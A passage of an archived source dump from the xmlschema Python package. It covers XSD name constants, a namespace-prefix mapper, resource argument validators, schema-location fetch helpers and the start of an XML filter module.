_VC_TEMPLATE % 'facetUnavailable' # # XML attributes XML_LANG = _XML_TEMPLATE % 'lang' XML_SPACE = _XML_TEMPLATE % 'space' XML_BASE = _XML_TEMPLATE % 'base' XML_ID = _XML_TEMPLATE % 'id' XML_SPECIAL_ATTRS = _XML_TEMPLATE % 'specialAttrs' # # XML Schema Instance attributes XSI_NIL = _XSI_TEMPLATE % 'nil' XSI_TYPE = _XSI_TEMPLATE % 'type' XSI_SCHEMA_LOCATION = _XSI_TEMPLATE % 'schemaLocation' XSI_NONS_SCHEMA_LOCATION = _XSI_TEMPLATE % 'noNamespaceSchemaLocation' # # XML Schema fully qualified names XSD_SCHEMA = _XSD_TEMPLATE % 'schema' # Annotations XSD_ANNOTATION = _XSD_TEMPLATE % 'annotation' XSD_APPINFO = _XSD_TEMPLATE % 'appinfo' XSD_DOCUMENTATION = _XSD_TEMPLATE % 'documentation' # Composing schemas XSD_INCLUDE = _XSD_TEMPLATE % 'include' XSD_IMPORT = _XSD_TEMPLATE % 'import' XSD_REDEFINE = _XSD_TEMPLATE % 'redefine' XSD_OVERRIDE = _XSD_TEMPLATE % 'override' # Structures XSD_SIMPLE_TYPE = _XSD_TEMPLATE % 'simpleType' XSD_COMPLEX_TYPE = _XSD_TEMPLATE % 'complexType' XSD_ATTRIBUTE = _XSD_TEMPLATE % 'attribute' XSD_ELEMENT = _XSD_TEMPLATE % 'element' XSD_NOTATION = _XSD_TEMPLATE % 'notation' # Grouping XSD_GROUP = _XSD_TEMPLATE % 'group' XSD_ATTRIBUTE_GROUP = _XSD_TEMPLATE % 'attributeGroup' # simpleType declaration elements XSD_RESTRICTION = _XSD_TEMPLATE % 'restriction' XSD_LIST = _XSD_TEMPLATE % 'list' XSD_UNION = _XSD_TEMPLATE % 'union' # complexType content XSD_EXTENSION = _XSD_TEMPLATE % 'extension' XSD_SEQUENCE = _XSD_TEMPLATE % 'sequence' XSD_CHOICE = _XSD_TEMPLATE % 'choice' XSD_ALL = _XSD_TEMPLATE % 'all' XSD_ANY = _XSD_TEMPLATE % 'any' XSD_SIMPLE_CONTENT = _XSD_TEMPLATE % 'simpleContent' XSD_COMPLEX_CONTENT = _XSD_TEMPLATE % 'complexContent' XSD_ANY_ATTRIBUTE = _XSD_TEMPLATE % 'anyAttribute' # # Facets (lexical, pre-lexical and value-based facets) XSD_ENUMERATION = _XSD_TEMPLATE % 'enumeration' XSD_LENGTH = _XSD_TEMPLATE % 'length' XSD_MIN_LENGTH = _XSD_TEMPLATE % 'minLength' XSD_MAX_LENGTH = _XSD_TEMPLATE % 'maxLength' XSD_PATTERN = _XSD_TEMPLATE % 'pattern' # lexical facet XSD_WHITE_SPACE = _XSD_TEMPLATE % 'whiteSpace' # pre-lexical facet XSD_MAX_INCLUSIVE = _XSD_TEMPLATE % 'maxInclusive' XSD_MAX_EXCLUSIVE = _XSD_TEMPLATE % 'maxExclusive' XSD_MIN_INCLUSIVE = _XSD_TEMPLATE % 'minInclusive' XSD_MIN_EXCLUSIVE = _XSD_TEMPLATE % 'minExclusive' XSD_TOTAL_DIGITS = _XSD_TEMPLATE % 'totalDigits' XSD_FRACTION_DIGITS = _XSD_TEMPLATE % 'fractionDigits' # XSD 1.1 elements XSD_OPEN_CONTENT = _XSD_TEMPLATE % 'openContent' # open content model XSD_DEFAULT_OPEN_CONTENT = _XSD_TEMPLATE % 'defaultOpenContent' # default open content model XSD_ALTERNATIVE = _XSD_TEMPLATE % 'alternative' # conditional type assignment XSD_ASSERT = _XSD_TEMPLATE % 'assert' # complex type assertions XSD_ASSERTION = _XSD_TEMPLATE % 'assertion' # facets XSD_EXPLICIT_TIMEZONE = _XSD_TEMPLATE % 'explicitTimezone' # Identity constraints XSD_UNIQUE = _XSD_TEMPLATE % 'unique' XSD_KEY = _XSD_TEMPLATE % 'key' XSD_KEYREF = _XSD_TEMPLATE % 'keyref' XSD_SELECTOR = _XSD_TEMPLATE % 'selector' XSD_FIELD = _XSD_TEMPLATE % 'field' # # XSD Builtin Types # Special XSD built-in types. XSD_ANY_TYPE = _XSD_TEMPLATE % 'anyType' XSD_ANY_SIMPLE_TYPE = _XSD_TEMPLATE % 'anySimpleType' XSD_ANY_ATOMIC_TYPE = _XSD_TEMPLATE % 'anyAtomicType' # Other XSD built-in types. XSD_DECIMAL = _XSD_TEMPLATE % 'decimal' XSD_STRING = _XSD_TEMPLATE % 'string' XSD_DOUBLE = _XSD_TEMPLATE % 'double' XSD_FLOAT = _XSD_TEMPLATE % 'float' XSD_DATE = _XSD_TEMPLATE % 'date' XSD_DATETIME = _XSD_TEMPLATE % 'dateTime' XSD_GDAY = _XSD_TEMPLATE % 'gDay' XSD_GMONTH = _XSD_TEMPLATE % 'gMonth' XSD_GMONTH_DAY = _XSD_TEMPLATE % 'gMonthDay' XSD_GYEAR = _XSD_TEMPLATE % 'gYear' XSD_GYEAR_MONTH = _XSD_TEMPLATE % 'gYearMonth' XSD_TIME = _XSD_TEMPLATE % 'time' XSD_DURATION = _XSD_TEMPLATE % 'duration' XSD_QNAME = _XSD_TEMPLATE % 'QName' XSD_NOTATION_TYPE = _XSD_TEMPLATE % 'NOTATION' XSD_ANY_URI = _XSD_TEMPLATE % 'anyURI' XSD_BOOLEAN = _XSD_TEMPLATE % 'boolean' XSD_BASE64_BINARY = _XSD_TEMPLATE % 'base64Binary' XSD_HEX_BINARY = _XSD_TEMPLATE % 'hexBinary' XSD_NORMALIZED_STRING = _XSD_TEMPLATE % 'normalizedString' XSD_TOKEN = _XSD_TEMPLATE % 'token' XSD_LANGUAGE = _XSD_TEMPLATE % 'language' XSD_NAME = _XSD_TEMPLATE % 'Name' XSD_NCNAME = _XSD_TEMPLATE % 'NCName' XSD_ID = _XSD_TEMPLATE % 'ID' XSD_IDREF = _XSD_TEMPLATE % 'IDREF' XSD_ENTITY = _XSD_TEMPLATE % 'ENTITY' XSD_NMTOKEN = _XSD_TEMPLATE % 'NMTOKEN' XSD_INTEGER = _XSD_TEMPLATE % 'integer' XSD_LONG = _XSD_TEMPLATE % 'long' XSD_INT = _XSD_TEMPLATE % 'int' XSD_SHORT = _XSD_TEMPLATE % 'short' XSD_BYTE = _XSD_TEMPLATE % 'byte' XSD_NON_NEGATIVE_INTEGER = _XSD_TEMPLATE % 'nonNegativeInteger' XSD_POSITIVE_INTEGER = _XSD_TEMPLATE % 'positiveInteger' XSD_UNSIGNED_LONG = _XSD_TEMPLATE % 'unsignedLong' XSD_UNSIGNED_INT = _XSD_TEMPLATE % 'unsignedInt' XSD_UNSIGNED_SHORT = _XSD_TEMPLATE % 'unsignedShort' XSD_UNSIGNED_BYTE = _XSD_TEMPLATE % 'unsignedByte' XSD_NON_POSITIVE_INTEGER = _XSD_TEMPLATE % 'nonPositiveInteger' XSD_NEGATIVE_INTEGER = _XSD_TEMPLATE % 'negativeInteger' # Built-in list types XSD_IDREFS = _XSD_TEMPLATE % 'IDREFS' XSD_ENTITIES = _XSD_TEMPLATE % 'ENTITIES' XSD_NMTOKENS = _XSD_TEMPLATE % 'NMTOKENS' # XSD 1.1 built-in types XSD_DATE_TIME_STAMP = _XSD_TEMPLATE % 'dateTimeStamp' XSD_DAY_TIME_DURATION = _XSD_TEMPLATE % 'dayTimeDuration' XSD_YEAR_MONTH_DURATION = _XSD_TEMPLATE % 'yearMonthDuration' XSD_ERROR = _XSD_TEMPLATE % 'error' XSD_UNTYPED_ATOMIC = _XSD_TEMPLATE % 'untypedAtomic' �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/namespaces.py�������������������������������������������������������������0000664�0000000�0000000�00000042146�15020401055�0020146�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains the base definitions for xmlschema's converters. """ import re from collections.abc import Callable, Container, Iterator, Mapping, MutableMapping from typing import Any, NamedTuple, Optional, Union, TypeVar, TYPE_CHECKING from xmlschema.aliases import NsmapType, ElementType, XmlnsType from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from xmlschema.utils.decoding import iter_decoded_data from xmlschema.utils.qnames import get_namespace_map, update_namespaces, local_name from xmlschema.resources import XMLResource if TYPE_CHECKING: from xmlschema.validators import XsdComponent, XsdElement # noqa: F401 XMLNS_PROCESSING_MODES = frozenset(('stacked', 'collapsed', 'root-only', 'none')) class NamespaceMapperContext(NamedTuple): obj: Union[ElementType, Any] level: int xmlns: XmlnsType namespaces: NsmapType reverse: NsmapType class NamespaceMapper(MutableMapping[str, str]): """ A class to map/unmap namespace prefixes to URIs. An internal reverse mapping from URI to prefix is also maintained for keep name mapping consistent within updates. :param namespaces: initial data with mapping of namespace prefixes to URIs. :param process_namespaces: whether to use namespace information in name mapping \ methods. If set to `False` then the name mapping methods simply return the \ provided name. :param strip_namespaces: if set to `True` then the name mapping methods return \ the local part of the provided name. :param xmlns_processing: defines the processing mode of XML namespace declarations. \ The preferred mode is 'stacked', the mode that processes the namespace declarations \ using a stack of contexts related with elements and levels. \ This is the processing mode that always matches the XML namespace declarations \ defined in the XML document. Provide 'collapsed' for loading all namespace \ declarations of the XML source in a single map, renaming colliding prefixes. \ Provide 'root-only' to use only the namespace declarations of the XML document root. \ Provide 'none' to not use any namespace declaration of the XML document. \ For default the xmlns processing mode is 'stacked' if the XML source is an \ `XMLResource` instance, otherwise is 'none'. :param source: the origin of XML data. Con be an `XMLResource` instance, an XML \ decoded data or `None`. """ __slots__ = ('_namespaces', '_reverse', '_contexts', 'process_namespaces', 'strip_namespaces', '_use_namespaces', 'xmlns_processing', '_xmlns_getter', 'source') _namespaces: NsmapType _contexts: list[NamespaceMapperContext] _xmlns_getter: Optional[Callable[[ElementType], XmlnsType]] def __init__(self, namespaces: Optional[NsmapType] = None, process_namespaces: bool = True, strip_namespaces: bool = False, xmlns_processing: Optional[str] = None, source: Optional[Any] = None) -> None: self.process_namespaces = process_namespaces self.strip_namespaces = strip_namespaces self._use_namespaces = bool(process_namespaces and not strip_namespaces) self.source = source if xmlns_processing is None: xmlns_processing = self.xmlns_processing_default elif not isinstance(xmlns_processing, str): raise XMLSchemaTypeError("invalid type for argument 'xmlns_processing'") if xmlns_processing not in XMLNS_PROCESSING_MODES: raise XMLSchemaValueError("invalid value for argument 'xmlns_processing'") self.xmlns_processing = xmlns_processing if xmlns_processing == 'none': self._xmlns_getter = None elif isinstance(source, XMLResource): self._xmlns_getter = source.get_xmlns else: self._xmlns_getter = self.get_xmlns_from_data self._namespaces = self.get_namespaces(namespaces) self._reverse = { v: k for k, v in reversed(self._namespaces.items()) # type: ignore[call-overload] } self._contexts = [] def __getitem__(self, prefix: str) -> str: return self._namespaces[prefix] def __setitem__(self, prefix: str, uri: str) -> None: self._namespaces[prefix] = uri self._reverse[uri] = prefix def __delitem__(self, prefix: str) -> None: uri = self._namespaces.pop(prefix) del self._reverse[uri] for k in reversed(self._namespaces.keys()): # type: ignore[call-overload] if self._namespaces[k] == uri: self._reverse[uri] = k break def __iter__(self) -> Iterator[str]: return iter(self._namespaces) def __len__(self) -> int: return len(self._namespaces) @property def namespaces(self) -> NsmapType: return self._namespaces @property def default_namespace(self) -> Optional[str]: return self._namespaces.get('') @property def xmlns_processing_default(self) -> str: return 'stacked' if isinstance(self.source, XMLResource) else 'none' def __copy__(self) -> 'NamespaceMapper': mapper: 'NamespaceMapper' = object.__new__(self.__class__) for cls in self.__class__.__mro__: if hasattr(cls, '__slots__'): for attr in cls.__slots__: value = getattr(self, attr) if isinstance(value, (dict, list)): setattr(mapper, attr, value.copy()) else: setattr(mapper, attr, value) return mapper def clear(self) -> None: self._namespaces.clear() self._reverse.clear() self._contexts.clear() def get_xmlns_from_data(self, obj: Any) -> XmlnsType: """Returns the XML declarations from decoded element data.""" return None def get_namespaces(self, namespaces: Optional[NsmapType] = None, root_only: bool = True) -> NsmapType: """ Extracts namespaces with related prefixes from the XML source. It the XML source is an `XMLResource` instance delegates the extraction to it. With XML decoded data iterates the source try to extract xmlns information using the implementation of *get_xmlns_from_data()*. If xmlns processing mode is 'none', no namespace declaration is retrieved from the XML source. Arguments and return type are identical to the ones defined for the method *get_namespaces()* of `XMLResource` class. """ if self._xmlns_getter is None: return get_namespace_map(namespaces) elif isinstance(self.source, XMLResource): return self.source.get_namespaces(namespaces, root_only) xmlns: XmlnsType namespaces = get_namespace_map(namespaces) for obj, level in iter_decoded_data(self.source): if root_only and level > 1: # root xmlns declarations are usually at level 0 or 1 break xmlns = self.get_xmlns_from_data(obj) if xmlns: update_namespaces(namespaces, xmlns, not level) return namespaces def set_context(self, obj: Any, level: int) -> XmlnsType: """ set the right context for the XML data and its level, updating the namespace map if necessary. Returns the xmlns declarations of the provided XML data. """ xmlns = None if self._contexts: # Remove contexts of sibling or descendant elements namespaces = reverse = None while self._contexts: # pragma: no cover context = self._contexts[-1] if level > context.level: break elif level == context.level and context.obj is obj: # The context for (obj, level) already exists xmlns = context.xmlns break namespaces, reverse = self._contexts.pop()[-2:] if namespaces is not None and reverse is not None: self._namespaces.clear() self._namespaces.update(namespaces) self._reverse.clear() self._reverse.update(reverse) if xmlns or not self._xmlns_getter: return xmlns xmlns = self._xmlns_getter(obj) if xmlns: if self.xmlns_processing == 'stacked': context = NamespaceMapperContext( obj, level, xmlns, {k: v for k, v in self._namespaces.items()}, {k: v for k, v in self._reverse.items()}, ) self._contexts.append(context) self._namespaces.update(xmlns) if level: self._reverse.update((v, k) for k, v in xmlns) else: self._reverse.update((v, k) for k, v in reversed(xmlns) if v not in self._reverse) return xmlns elif not level or self.xmlns_processing == 'collapsed': for prefix, uri in xmlns: if not prefix: if not uri: continue elif '' not in self._namespaces: if not level: self._namespaces[''] = uri if uri not in self._reverse: self._reverse[uri] = '' continue elif self._namespaces[''] == uri: continue prefix = 'default' while prefix in self._namespaces: if self._namespaces[prefix] == uri: break match = re.search(r'(\d+)$', prefix) if match: index = int(match.group()) + 1 prefix = prefix[:match.span()[0]] + str(index) else: prefix += '0' else: self._namespaces[prefix] = uri if uri not in self._reverse: self._reverse[uri] = prefix return None def map_qname(self, qname: str) -> str: """ Converts an extended QName to the prefixed format. Only registered namespaces are mapped. :param qname: a QName in extended format or a local name. :return: a QName in prefixed format or a local name. """ if not self._use_namespaces: return local_name(qname) if self.strip_namespaces else qname try: if qname[0] != '{' or not self._namespaces: return qname namespace, local_part = qname[1:].split('}') except IndexError: return qname except ValueError: raise XMLSchemaValueError("the argument 'qname' has an invalid value %r" % qname) except TypeError: raise XMLSchemaTypeError("the argument 'qname' must be a string-like object") try: prefix = self._reverse[namespace] except KeyError: return qname else: return f'{prefix}:{local_part}' if prefix else local_part def unmap_qname(self, qname: str, name_table: Optional[Container[Optional[str]]] = None, xmlns: Optional[list[tuple[str, str]]] = None) -> str: """ Converts a QName in prefixed format or a local name to the extended QName format. Local names are converted only if a default namespace is included in the instance. If a *name_table* is provided a local name is mapped to the default namespace only if not found in the name table. :param qname: a QName in prefixed format or a local name :param name_table: an optional lookup table for checking local names. :param xmlns: an optional list of namespace declarations that integrate \ or override the namespace map. :return: a QName in extended format or a local name. """ namespaces: MutableMapping[str, str] if not self._use_namespaces: return local_name(qname) if self.strip_namespaces else qname if xmlns: namespaces = {k: v for k, v in self._namespaces.items()} namespaces.update(xmlns) else: namespaces = self._namespaces try: if qname[0] == '{' or not namespaces: return qname elif ':' in qname: prefix, name = qname.split(':') else: default_namespace = namespaces.get('') if not default_namespace: return qname elif name_table is None or qname not in name_table: return f'{{{default_namespace}}}{qname}' else: return qname except IndexError: return qname except ValueError: raise XMLSchemaValueError("the argument 'qname' has an invalid value %r" % qname) except (TypeError, AttributeError): raise XMLSchemaTypeError("the argument 'qname' must be a string-like object") else: try: uri = namespaces[prefix] except KeyError: return qname else: return f'{{{uri}}}{name}' if uri else name T = TypeVar('T', bound=object) class NamespaceResourcesMap(MutableMapping[str, list[T]]): """ Dictionary for storing information about namespace resources. Values are lists of objects. Setting an existing value appends the object to the value. Setting a value with a list sets/replaces the value. """ __slots__ = ('_store',) def __init__(self, *args: Any, **kwargs: Any): self._store: dict[str, list[T]] = {} for item in args: self.update(item) self.update(kwargs) def __getitem__(self, uri: str) -> list[T]: return self._store[uri] def __setitem__(self, uri: str, value: Any) -> None: if isinstance(value, list): self._store[uri] = value[:] else: try: self._store[uri].append(value) except KeyError: self._store[uri] = [value] def __delitem__(self, uri: str) -> None: del self._store[uri] def __iter__(self) -> Iterator[str]: return iter(self._store) def __len__(self) -> int: return len(self._store) def __repr__(self) -> str: return repr(self._store) def clear(self) -> None: self._store.clear() def copy(self) -> 'NamespaceResourcesMap[T]': obj: NamespaceResourcesMap[T] = object.__new__(self.__class__) obj._store = {k: v.copy() for k, v in self.items()} return obj __copy__ = copy CT = TypeVar('CT', bound=Union['XsdComponent', set['XsdElement']]) class NamespaceView(Mapping[str, CT]): """ A mapping for filtered access to a dictionary that stores objects by FQDN. """ __slots__ = '_target_dict', '_namespace', '_prefix', '_prefix_len' def __init__(self, target_dict: Mapping[str, CT], namespace: str): self._target_dict = target_dict self._namespace = namespace self._prefix = f'{{{namespace}}}' if namespace else '' self._prefix_len = len(self._prefix) def __getitem__(self, key: str) -> CT: try: return self._target_dict[self._prefix + key] except KeyError: raise KeyError(key) from None def __len__(self) -> int: if not self._namespace: return sum(1 for k in self._target_dict if k[:1] != '{') return sum(1 for k in self._target_dict if self._prefix == k[:self._prefix_len]) def __iter__(self) -> Iterator[str]: if not self._namespace: for k in self._target_dict: if k[:1] != '{': yield k else: for k in self._target_dict: if self._prefix == k[:self._prefix_len]: yield k[self._prefix_len:] def __repr__(self) -> str: return '%s(%s)' % (self.__class__.__name__, str(self.as_dict())) def __contains__(self, key: object) -> bool: return isinstance(key, str) and (self._prefix + key) in self._target_dict def __eq__(self, other: Any) -> Any: return self.as_dict() == other def as_dict(self) -> dict[str, CT]: if not self._namespace: return {k: v for k, v in self._target_dict.items() if k[:1] != '{'} else: return { k[self._prefix_len:]: v for k, v in self._target_dict.items() if self._prefix == k[:self._prefix_len] } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/py.typed������������������������������������������������������������������0000664�0000000�0000000�00000000000�15020401055�0017133�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/����������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017460�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/__init__.py�����������������������������������������������������0000664�0000000�0000000�00000001260�15020401055�0021570�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from .xml_resource import XMLResourceManager, XMLResource from .filters import iterfind_parser from .fetchers import fetch_resource, fetch_namespaces, \ fetch_schema_locations, fetch_schema __all__ = ['XMLResourceManager', 'XMLResource', 'iterfind_parser', 'fetch_resource', 'fetch_namespaces', 'fetch_schema_locations', 'fetch_schema'] ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/arguments.py����������������������������������������������������0000664�0000000�0000000�00000012625�15020401055�0022045�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import io import os from collections.abc import MutableMapping from functools import partial from pathlib import Path from typing import cast, overload, Any, Optional, Type, TYPE_CHECKING, Union from urllib.request import OpenerDirector from xml.etree import ElementTree from xmlschema.aliases import XMLSourceType, UriMapperType, IterParseType from xmlschema.exceptions import XMLSchemaValueError from xmlschema.translation import gettext as _ from xmlschema.utils.etree import is_etree_element, is_etree_document from xmlschema.utils.misc import is_subclass from xmlschema.utils.streams import is_file_object from xmlschema.utils.urls import is_url from xmlschema.utils.descriptors import Argument, ChoiceArgument, ValueArgument from xmlschema.xpath import ElementSelector if TYPE_CHECKING: from .xml_resource import XMLResource DEFUSE_MODES = frozenset(('never', 'remote', 'nonlocal', 'always')) SECURITY_MODES = frozenset(('all', 'remote', 'local', 'sandbox', 'none')) class SourceArgument(Argument[XMLSourceType]): """The XML data source.""" def __init__(self) -> None: super().__init__( types=(str, bytes, Path, io.StringIO, io.BytesIO), validators=(is_file_object, is_etree_element, is_etree_document) ) def validated_value(self, value: Any) -> XMLSourceType: value = super().validated_value(value) if is_etree_document(value): if value.getroot() is None: raise XMLSchemaValueError(_("source XML document is empty")) return cast(XMLSourceType, value) class BaseUrlArgument(Argument[Optional[str]]): """The effective base URL used for completing relative locations.""" def __init__(self) -> None: super().__init__((str, bytes, Path)) @overload def __get__(self, instance: None, owner: Type['XMLResource']) \ -> 'BaseUrlArgument': ... @overload def __get__(self, instance: 'XMLResource', owner: Type['XMLResource']) \ -> Optional[str]: ... def __get__(self, instance: Optional['XMLResource'], owner: Type['XMLResource']) \ -> Union['BaseUrlArgument', Optional[str]]: if instance is None: return self if instance.url is not None: return os.path.dirname(instance.url) return self.validated_value(getattr(instance, self._private_name)) def validated_value(self, value: Any) -> Optional[str]: value = super().validated_value(value) if value is None: return None elif not is_url(value): msg = _("invalid value {!r} for argument {!r}") raise XMLSchemaValueError(msg.format(value, self._name)) elif isinstance(value, str): return value elif isinstance(value, bytes): return value.decode() else: return str(value) class AllowArgument(ChoiceArgument[str]): """The security mode for accessing resource locations.""" def __init__(self) -> None: super().__init__(str, SECURITY_MODES) class DefuseArgument(ChoiceArgument[str]): """When to defuse XML data.""" def __init__(self) -> None: super().__init__(str, DEFUSE_MODES) class TimeoutArgument(ValueArgument[int]): """The timeout in seconds for accessing remote resources.""" def __init__(self) -> None: super().__init__(int, min_value=1) class LazyArgument(ValueArgument[Union[bool, int]]): """Defines if the XML resource is lazy.""" def __init__(self) -> None: super().__init__((bool, int), 0) class ThinLazyArgument(ValueArgument[bool]): """Defines if the resource is lazy and thin.""" def __init__(self) -> None: super().__init__(bool) class FastFindArgument(ValueArgument[bool]): """Defines if to use resource uses the `xml.etree.ElementPath.iterfind()` API.""" def __init__(self) -> None: super().__init__(bool) class UriMapperArgument(Argument[Optional[UriMapperType]]): """The optional URI mapper argument for relocating addressed resources.""" def __init__(self) -> None: super().__init__(MutableMapping, (callable,)) class OpenerArgument(Argument[Optional[OpenerDirector]]): def __init__(self) -> None: super().__init__(OpenerDirector) class IterParseArgument(Argument[Optional[IterParseType]]): def __init__(self) -> None: super().__init__(validators=(callable,)) def validated_value(self, value: Any) -> IterParseType: value = super().validated_value(value) if value is not None: return cast(IterParseType, value) return ElementTree.iterparse is_selector_subclass = partial[bool](is_subclass, cls=ElementSelector) class SelectorArgument(Argument[Optional[type[ElementSelector]]]): """Defines if the resource is loaded only for a specific path.""" def __init__(self) -> None: super().__init__(validators=(is_selector_subclass,)) def validated_value(self, value: Any) -> type[ElementSelector]: value = super().validated_value(value) if value is not None: return cast(type[ElementSelector], value) return ElementSelector �����������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/fetchers.py�����������������������������������������������������0000664�0000000�0000000�00000014113�15020401055�0021635�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from typing import Any, Optional, Union from urllib.request import urlopen from xmlschema.names import XSD_NAMESPACE from xmlschema.aliases import NsmapType, NormalizedLocationsType, \ LocationsType, XMLSourceType, UriMapperType from xmlschema.exceptions import XMLResourceError, XMLResourceOSError, XMLSchemaValueError from xmlschema.utils.urls import normalize_url from .xml_resource import XMLResource def fetch_resource(location: str, base_url: Optional[str] = None, timeout: int = 30) -> str: """ Fetches a resource by trying to access it. If the resource is accessible returns its normalized URL, otherwise raises an `XMLResourceOSError`. :param location: a URL or a file path. :param base_url: reference base URL for normalizing local and relative URLs. :param timeout: the timeout in seconds for the connection attempt in case of remote data. :return: a normalized URL. """ if not location: raise XMLSchemaValueError("the 'location' argument must contain a not empty string") url = normalize_url(location, base_url) try: with urlopen(url, timeout=timeout): return url except OSError as err: if url == normalize_url(location): raise XMLResourceOSError(err) # fallback using the location without a base URL alt_url = normalize_url(location) try: with urlopen(alt_url, timeout=timeout): return alt_url except OSError: raise XMLResourceOSError(err) from err def fetch_schema_locations(source: Union['XMLResource', XMLSourceType], locations: Optional[LocationsType] = None, base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', timeout: int = 30, uri_mapper: Optional[UriMapperType] = None, root_only: bool = True, **_kwargs: Any) -> tuple[str, NormalizedLocationsType]: """ Fetches schema location hints from an XML data source and a list of location hints. If an accessible schema location is not found raises a ValueError. :param source: can be an :class:`XMLResource` instance, a file-like object a path \ to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param locations: a dictionary or dictionary items with additional schema location hints. :param base_url: the same argument of the :class:`XMLResource`. :param allow: the same argument of the :class:`XMLResource`, \ applied to location hints only. :param defuse: the same argument of the :class:`XMLResource`. :param timeout: the same argument of the :class:`XMLResource` but with a reduced default. :param uri_mapper: an optional argument for building the schema from location hints. :param root_only: if `True` extracts from the XML source only the location hints \ of the root element. :param _kwargs: unused keyword arguments. :return: A 2-tuple with the URL referring to the first reachable schema resource \ and a list of dictionary items with normalized location hints. """ if not isinstance(source, XMLResource): resource = XMLResource(source, base_url, defuse=defuse, timeout=timeout, lazy=True) else: resource = source locations = resource.get_locations(locations, root_only=root_only) if not locations: raise XMLSchemaValueError("provided arguments don't contain any schema location hint") namespace = resource.namespace for ns, location in sorted(locations, key=lambda x: x[0] != namespace): try: resource = XMLResource(location, base_url, allow, defuse, timeout, lazy=True, uri_mapper=uri_mapper) except (XMLResourceError, OSError, SyntaxError): continue if resource.namespace == XSD_NAMESPACE and resource.url: return resource.url, locations else: raise XMLSchemaValueError("not found a schema for provided XML source") def fetch_schema(source: Union['XMLResource', XMLSourceType], locations: Optional[LocationsType] = None, base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', timeout: int = 30, uri_mapper: Optional[UriMapperType] = None, root_only: bool = True, **_kwargs: Any) -> str: """ Like :meth:`fetch_schema_locations` but returns only the URL of a loadable XSD schema from location hints fetched from the source or provided by argument. """ return fetch_schema_locations(source, locations, base_url, allow, defuse, timeout, uri_mapper, root_only)[0] def fetch_namespaces(source: XMLSourceType, base_url: Optional[str] = None, allow: str = 'all', defuse: str = 'remote', timeout: int = 30, root_only: bool = False, **_kwargs: Any) -> NsmapType: """ Fetches namespaces information from the XML data source. The argument *source* can be a string containing the XML document or file path or an url or a file-like object or an ElementTree instance or an Element instance. A dictionary with namespace mappings is returned. """ resource = XMLResource(source, base_url, allow, defuse, timeout, lazy=True) return resource.get_namespaces(root_only=root_only) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/filters.py������������������������������������������������������0000664�0000000�0000000�00000007475�15020401055�0021517�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2025, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import Callable, Iterator, Sequence from functools import partial from typing import Any, Optional from xml.etree import ElementTree from xmlschema.aliases import AncestorsType, IOType, IterParseType, ElementType, NsmapType from xmlschema.exceptions import XMLResourceParseError from xmlschema.xpath import ElementPathSelector FilterFunctionType = Callable[[ElementType, ElementType, AncestorsType], bool] ClearFunctionType = Callable[[ElementType, ElementType, AncestorsType], None] ### # Default filter and clear functions def no_filter(r: ElementType, e: ElementType, a: AncestorsType) -> bool: return True def no_cleanup(root: ElementType, elem: ElementType, ancestors: AncestorsType) -> None: return def clear_elem(root: ElementType, elem: ElementType, ancestors: AncestorsType) -> None: elem.clear() ### # Iterparse generator function def filtered_iterparse(fp: IOType, events: Optional[Sequence[str]] = None, filter_fn: Optional[FilterFunctionType] = None, clear_fn: Optional[ClearFunctionType] = None, ancestors: Optional[list[ElementType]] = None, depth: int = 1) -> Iterator[tuple[str, Any]]: """ An event-based parser for filtering XML elements during 